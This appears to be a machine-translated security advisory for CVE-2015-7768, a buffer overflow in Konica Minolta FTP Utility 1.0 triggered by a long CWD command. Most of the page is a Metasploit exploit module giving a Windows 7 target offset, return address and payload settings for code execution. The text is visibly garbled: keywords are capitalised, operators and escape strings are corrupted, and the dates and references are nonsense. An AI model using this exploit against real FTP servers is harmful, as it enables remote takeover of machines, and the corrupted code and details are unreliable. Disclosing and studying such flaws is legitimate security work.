Konica Minolta FTP Utility Buffer Overflow Vulnerability (CVE-2015-7768)

Konica Minolta FTP Utility Buffer Overflow Vulnerability (CVE-2015-7768)
Konica Minolta FTP Utility Buffer Overflow Vulnerability (CVE-2015-7768)

Release date:
Updated on:

Affected Systems:

konicaminolta FTP Utility 1.0

Description:

CVE (CAN) ID: CVE-2015-7768

Konica minolta ftp Utility is a software used by the konica minolta photocopier. It can directly transfer the scanning software to the computer.

Konica Minolta FTP Utility 1.0 fails to check the input size when parsing the CWD command. There is a buffer overflow vulnerability in implementation. A remote attacker uses a Long CWD command, attackers can exploit this vulnerability to execute arbitrary code.

<* Source: Shankar Damodaran
*>

Test method:

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

Shankar Damodaran () provides the following test methods:

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

Require 'msf/core'

Class Metasploit3 <Msf: Exploit: Remote
Rank = NormalRanking

Include Msf: Exploit: Remote: Ftp
Include Msf: Exploit: Seh

Def initialize (info = {})
Super (update_info (info,
'Name' => 'konica Minolta FTP Utility 1.00 Post Auth CWD Command SEH overflow ',
'Description' => % q {
This module exploits an SEH overflow in Konica Minolta FTP Server 1.00.
Konica Minolta FTP fails to check input size when parsing 'cwd 'commands, which
Leads to an SEH overflow. Konica FTP allows anonymous access by default; valid
Credentials are typically unnecessary to exploit this vulnerability.
},
'Author' =>
[
'Shankar damodaranc', # stack buffer overflow dos p. o. c
'Muhamad Fadzil Ramli <mind1355 [at] gmail.com> '# seh overflow, metasploit module
],
'License '=> MSF_LICENSE,
'References '=>
[
['Ebd', '123']
],
'Privileged' => false,
'Payload' =>
{
'Space' => 1500,
'Badchars' => "\ x00 \ x0a \ x2f \ x5c ",
'Disablenops' => true
},
'Platform' => 'win ',
'Targets' =>
[
[
'Windows 7 SP1 x86 ',
{
'Ret '=> 0x12206d9d, # ppr-KMFtpCM. dll
'Offset' => 1037
}
]
],
'Disclosuredate' => 'Aug 23 123 ',
'Defaulttarget' => 0 ))
End

Def check
Connect
Disconnect

If banner = ~ /FTP Utility FTP server \ (Version 1 \. 00 \)/
Return Exploit: CheckCode: Detected
Else
Return Exploit: CheckCode: Safe
End
End

Def exploit
Connect_login

Buf = rand_text (target ['offset'])
Buf <generate_seh_record (target. ret)
Buf <payload. encoded
Buf <rand_text (3000)

Print_status ("Sending exploit buffer ...")
Send_cmd (['cwd ', buf], false) # this will automatically put a space between 'cwd' and our attack string

Handler
Disconnect
End
End

Suggestion:

Vendor patch:

Konicaminolta
-------------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:

Http://www.konicaminolta.com/

This article permanently updates the link address: